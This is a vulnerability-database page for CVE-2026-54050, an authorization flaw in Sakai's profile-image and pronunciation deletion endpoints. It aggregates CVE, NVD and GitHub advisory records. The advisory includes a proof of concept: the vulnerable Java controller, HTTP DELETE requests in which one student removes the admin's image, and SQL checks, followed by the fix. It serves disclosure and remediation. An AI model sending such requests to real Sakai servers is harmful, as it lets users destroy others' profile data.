Vulnerability-Lookup

CVE-2026-54050 (GCVE-0-2026-54050)

Vulnerability from cvelistv5 – Published: 2026-09-15 17:09 – Updated: 2026-09-15 19:00

Title

Sakai: IDOR in Profile Image Deletion Allows Any Authenticated User to Delete Any User's Profile Image

Summary

Sakai is a Collaboration and Learning Environment (CLE). From 23.0 until 23.5 and 25.3, the DELETE /api/users/{userId}/profile/image endpoint allows an authenticated user to delete another user's profile image because ProfileController.removeProfileImage() passes the attacker-controlled userId to ProfileServiceImpl.removeProfileImage() without verifying ownership, and profileImageUploadedRepository.deleteById(userId) removes the selected row. The related DELETE /api/users/{userId}/profile/pronunciation endpoint also omits session validation and ownership checks before ProfileServiceImpl.removePronunciationRecording() deletes the target user's recording. The upload path is not affected because it already verifies ownership, and superusers remain intentionally authorized to modify other profiles. Successful exploitation can repeatedly remove profile identity artifacts, including administrator and instructor images, and disrupt workflows that rely on those artifacts. This issue is fixed in versions 23.5, 25.3, and 26.0.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 18:59 UTC

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/sakaiproject/sakai/security/ad…	x_refsource_CONFIRM
https://github.com/sakaiproject/sakai/commit/a092…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sakaiproject	sakai	Affected: >= 23.0, < 23.5 Affected: >= 25.0, <= 25.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54050",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T18:59:51.482620Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-15T19:00:14.360Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "sakai",
          "vendor": "sakaiproject",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 23.0, \u003c 23.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 25.0, \u003c= 25.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Sakai is a Collaboration and Learning Environment (CLE). From 23.0 until 23.5 and 25.3, the DELETE /api/users/{userId}/profile/image endpoint allows an authenticated user to delete another user\u0027s profile image because ProfileController.removeProfileImage() passes the attacker-controlled userId to ProfileServiceImpl.removeProfileImage() without verifying ownership, and profileImageUploadedRepository.deleteById(userId) removes the selected row. The related DELETE /api/users/{userId}/profile/pronunciation endpoint also omits session validation and ownership checks before ProfileServiceImpl.removePronunciationRecording() deletes the target user\u0027s recording. The upload path is not affected because it already verifies ownership, and superusers remain intentionally authorized to modify other profiles. Successful exploitation can repeatedly remove profile identity artifacts, including administrator and instructor images, and disrupt workflows that rely on those artifacts. This issue is fixed in versions 23.5, 25.3, and 26.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T17:09:58.724Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
        },
        {
          "name": "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852"
        }
      ],
      "source": {
        "advisory": "GHSA-9284-fjc3-fmmj",
        "discovery": "UNKNOWN"
      },
      "title": "Sakai: IDOR in Profile Image Deletion Allows Any Authenticated User to Delete Any User\u0027s Profile Image"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54050",
    "datePublished": "2026-09-15T17:09:58.724Z",
    "dateReserved": "2026-06-11T18:24:35.096Z",
    "dateUpdated": "2026-09-15T19:00:14.360Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54050",
      "date": "2026-10-01",
      "epss": "0.00311",
      "percentile": "0.21692"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "sakai",
                "vendor": "sakaiproject",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 23.0, \u003c 23.5"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 25.0, \u003c= 25.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Sakai is a Collaboration and Learning Environment (CLE). From 23.0 until 23.5 and 25.3, the DELETE /api/users/{userId}/profile/image endpoint allows an authenticated user to delete another user\u0027s profile image because ProfileController.removeProfileImage() passes the attacker-controlled userId to ProfileServiceImpl.removeProfileImage() without verifying ownership, and profileImageUploadedRepository.deleteById(userId) removes the selected row. The related DELETE /api/users/{userId}/profile/pronunciation endpoint also omits session validation and ownership checks before ProfileServiceImpl.removePronunciationRecording() deletes the target user\u0027s recording. The upload path is not affected because it already verifies ownership, and superusers remain intentionally authorized to modify other profiles. Successful exploitation can repeatedly remove profile identity artifacts, including administrator and instructor images, and disrupt workflows that rely on those artifacts. This issue is fixed in versions 23.5, 25.3, and 26.0."
          }
        ],
        "id": "CVE-2026-54050",
        "lastModified": "2026-09-25T14:23:59.847",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 3.6,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-54050",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T18:59:51.482620Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-15T18:17:22.533",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-639"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-54050",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-15T18:59:51.482620Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-15T19:00:05.974Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "sakai",
              "vendor": "sakaiproject",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 23.0, \u003c 23.5"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 25.0, \u003c= 25.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Sakai is a Collaboration and Learning Environment (CLE). From 23.0 until 23.5 and 25.3, the DELETE /api/users/{userId}/profile/image endpoint allows an authenticated user to delete another user\u0027s profile image because ProfileController.removeProfileImage() passes the attacker-controlled userId to ProfileServiceImpl.removeProfileImage() without verifying ownership, and profileImageUploadedRepository.deleteById(userId) removes the selected row. The related DELETE /api/users/{userId}/profile/pronunciation endpoint also omits session validation and ownership checks before ProfileServiceImpl.removePronunciationRecording() deletes the target user\u0027s recording. The upload path is not affected because it already verifies ownership, and superusers remain intentionally authorized to modify other profiles. Successful exploitation can repeatedly remove profile identity artifacts, including administrator and instructor images, and disrupt workflows that rely on those artifacts. This issue is fixed in versions 23.5, 25.3, and 26.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-639",
                  "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-15T17:09:58.724Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
            },
            {
              "name": "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852"
            }
          ],
          "source": {
            "advisory": "GHSA-9284-fjc3-fmmj",
            "discovery": "UNKNOWN"
          },
          "title": "Sakai: IDOR in Profile Image Deletion Allows Any Authenticated User to Delete Any User\u0027s Profile Image"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-54050",
        "datePublished": "2026-09-15T17:09:58.724Z",
        "dateReserved": "2026-06-11T18:24:35.096Z",
        "dateUpdated": "2026-09-15T19:00:14.360Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

EUVD-2026-368883

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 08:37

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:37:01.312884+00:00",
  "id": "EUVD-2026-368883"
}

FKIE_CVE-2026-54050

Vulnerability from fkie_nvd - Published: 2026-09-15 18:17 - Updated: 2026-09-25 14:23

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852
	security-advisories@github.com	https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "sakai",
          "vendor": "sakaiproject",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 23.0, \u003c 23.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 25.0, \u003c= 25.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Sakai is a Collaboration and Learning Environment (CLE). From 23.0 until 23.5 and 25.3, the DELETE /api/users/{userId}/profile/image endpoint allows an authenticated user to delete another user\u0027s profile image because ProfileController.removeProfileImage() passes the attacker-controlled userId to ProfileServiceImpl.removeProfileImage() without verifying ownership, and profileImageUploadedRepository.deleteById(userId) removes the selected row. The related DELETE /api/users/{userId}/profile/pronunciation endpoint also omits session validation and ownership checks before ProfileServiceImpl.removePronunciationRecording() deletes the target user\u0027s recording. The upload path is not affected because it already verifies ownership, and superusers remain intentionally authorized to modify other profiles. Successful exploitation can repeatedly remove profile identity artifacts, including administrator and instructor images, and disrupt workflows that rely on those artifacts. This issue is fixed in versions 23.5, 25.3, and 26.0."
    }
  ],
  "id": "CVE-2026-54050",
  "lastModified": "2026-09-25T14:23:59.847",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54050",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-15T18:59:51.482620Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-15T18:17:22.533",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-9284-FJC3-FMMJ

Vulnerability from github – Published: 2026-08-24 19:40 – Updated: 2026-08-24 19:40

Summary

Sakai Profile Image Deletion has an IDOR

Details

Summary

The Sakai REST API endpoint DELETE /api/users/{userId}/profile/image does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different userId in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.

Details

ProfileController.removeProfileImage() in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target userId path parameter:

@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
    String currentUserId = checkSakaiSession().getUserId();
    if (currentUserId == null) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    profileService.removeProfileImage(userId);  // userId is attacker-controlled
    return ResponseEntity.ok().build();
}

ProfileServiceImpl.removeProfileImage() delegates directly to dao.removeProfileImage(userUuid) with no authorization check. The DAO calls profileImageUploadedRepository.deleteById(userId), removing the profile_images_t row unconditionally.

For contrast, the upload endpoint setProfileImage() correctly verifies ownership:

if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) {
    throw new SecurityException("Not allowed to save.");
}

This asymmetry means any authenticated user can delete but not upload over another user's profile image.

Additionally, the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) has no checkSakaiSession() call at all, making it accessible without any authentication.

Setup: - Admin user: admin, with a custom profile image uploaded - Attacker: student2 (unprivileged user, SAKAIID cookie from authenticated session)

Step 1 - Admin uploads profile image (confirm non-default state):

POST /api/users/admin/profile/image HTTP/1.1
Cookie: SAKAIID=<admin-session>
Content-Type: application/x-www-form-urlencoded

base64=<base64-encoded-png>

Response: {"status":"SUCCESS"}

Step 2 - Verify image exists in database:

SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9

Step 3 - Attacker (student2) deletes admin's profile image:

DELETE /api/users/admin/profile/image HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb

Response: HTTP/1.1 200

Step 4 - Verify image is gone from database:

SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: (empty - row deleted)

The attack succeeds. Student2's session is accepted by checkSakaiSession() (non-blank userId), and the target userId (admin) is passed directly to the service without any ownership check.

Impact

Any authenticated user (student, guest) can: - Permanently delete the profile image of any other user, including administrators and instructors - Repeatedly trigger deletion to prevent a target user from maintaining a profile picture - In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows

The attack is trivially scriptable and can target all users on the platform in bulk.

Suggested Remediation

In ProfileController.removeProfileImage(), add an ownership check before calling the service:

@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
    Session session = checkSakaiSession();
    String currentUserId = session.getUserId();
    if (currentUserId == null) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    // Add this check:
    if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    profileService.removeProfileImage(userId);
    return ResponseEntity.ok().build();
}

Apply the same ownership check in ProfileServiceImpl.removeProfileImage() for defense-in-depth, mirroring the pattern in setProfileImage().

For the pronunciation endpoint, add checkSakaiSession() and the same ownership check.

Status / timeline:

2026-06-02: Fix committed to master (a092dbf3dc6bf343131f50007c207a9abd95e852)
Release pending.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sakaiproject.profile2:profile2-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.0"
            },
            {
              "fixed": "23.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sakaiproject.profile2:profile2-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0"
            },
            {
              "last_affected": "25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sakaiproject.profile2:profile2-impl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.0"
            },
            {
              "fixed": "23.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sakaiproject.profile2:profile2-impl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0"
            },
            {
              "last_affected": "25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-24T19:40:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Sakai REST API endpoint `DELETE /api/users/{userId}/profile/image` does not verify that the requesting user is authorized to modify the target user\u0027s profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different `userId` in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.\n\n### Details\n`ProfileController.removeProfileImage()` in the webapi module retrieves the current user\u0027s session but performs no comparison between the authenticated user and the target `userId` path parameter:\n\n```java\n@DeleteMapping(value = \"/users/{userId}/profile/image\")\npublic ResponseEntity\u003cString\u003e removeProfileImage(@PathVariable String userId) {\n    String currentUserId = checkSakaiSession().getUserId();\n    if (currentUserId == null) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    profileService.removeProfileImage(userId);  // userId is attacker-controlled\n    return ResponseEntity.ok().build();\n}\n```\n\n`ProfileServiceImpl.removeProfileImage()` delegates directly to `dao.removeProfileImage(userUuid)` with no authorization check. The DAO calls `profileImageUploadedRepository.deleteById(userId)`, removing the `profile_images_t` row unconditionally.\n\nFor contrast, the upload endpoint `setProfileImage()` correctly verifies ownership:\n\n```java\nif (!sakaiProxy.isSuperUser() \u0026\u0026 !StringUtils.equals(currentUserUuid, userUuid)) {\n    throw new SecurityException(\"Not allowed to save.\");\n}\n```\n\nThis asymmetry means any authenticated user can delete but not upload over another user\u0027s profile image.\n\nAdditionally, the pronunciation recording delete endpoint (`DELETE /api/users/{userId}/profile/pronunciation`) has no `checkSakaiSession()` call at all, making it accessible without any authentication.\n\n\n**Setup:**\n- Admin user: `admin`, with a custom profile image uploaded\n- Attacker: `student2` (unprivileged user, SAKAIID cookie from authenticated session)\n\n**Step 1 - Admin uploads profile image (confirm non-default state):**\n\n```\nPOST /api/users/admin/profile/image HTTP/1.1\nCookie: SAKAIID=\u003cadmin-session\u003e\nContent-Type: application/x-www-form-urlencoded\n\nbase64=\u003cbase64-encoded-png\u003e\n```\n\nResponse: `{\"status\":\"SUCCESS\"}`\n\n**Step 2 - Verify image exists in database:**\n\n```sql\nSELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID=\u0027admin\u0027;\n-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9\n```\n\n**Step 3 - Attacker (student2) deletes admin\u0027s profile image:**\n\n```\nDELETE /api/users/admin/profile/image HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb\n```\n\nResponse: `HTTP/1.1 200`\n\n**Step 4 - Verify image is gone from database:**\n\n```sql\nSELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID=\u0027admin\u0027;\n-- Result: (empty - row deleted)\n```\n\nThe attack succeeds. Student2\u0027s session is accepted by `checkSakaiSession()` (non-blank userId), and the target userId (`admin`) is passed directly to the service without any ownership check.\n\n### Impact\n\nAny authenticated user (student, guest) can:\n- Permanently delete the profile image of any other user, including administrators and instructors\n- Repeatedly trigger deletion to prevent a target user from maintaining a profile picture\n- In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows\n\nThe attack is trivially scriptable and can target all users on the platform in bulk.\n\n### Suggested Remediation\n\nIn `ProfileController.removeProfileImage()`, add an ownership check before calling the service:\n\n```java\n@DeleteMapping(value = \"/users/{userId}/profile/image\")\npublic ResponseEntity\u003cString\u003e removeProfileImage(@PathVariable String userId) {\n    Session session = checkSakaiSession();\n    String currentUserId = session.getUserId();\n    if (currentUserId == null) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    // Add this check:\n    if (!sakaiProxy.isSuperUser() \u0026\u0026 !currentUserId.equals(userId)) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    profileService.removeProfileImage(userId);\n    return ResponseEntity.ok().build();\n}\n```\n\nApply the same ownership check in `ProfileServiceImpl.removeProfileImage()` for defense-in-depth, mirroring the pattern in `setProfileImage()`.\n\nFor the pronunciation endpoint, add `checkSakaiSession()` and the same ownership check.\n\n### Status / timeline:\n- 2026-06-02: Fix committed to master (`a092dbf3dc6bf343131f50007c207a9abd95e852`)\n- Release pending.",
  "id": "GHSA-9284-fjc3-fmmj",
  "modified": "2026-08-24T19:40:37Z",
  "published": "2026-08-24T19:40:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sakaiproject/sakai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sakaiproject/sakai/releases/tag/23.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sakai Profile Image Deletion has an IDOR"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54050 (GCVE-0-2026-54050)

EUVD-2026-368883

FKIE_CVE-2026-54050

GHSA-9284-FJC3-FMMJ

Summary

Details

Impact

Suggested Remediation

Status / timeline:

Tags

Sightings

Nomenclature

Related by attack behaviour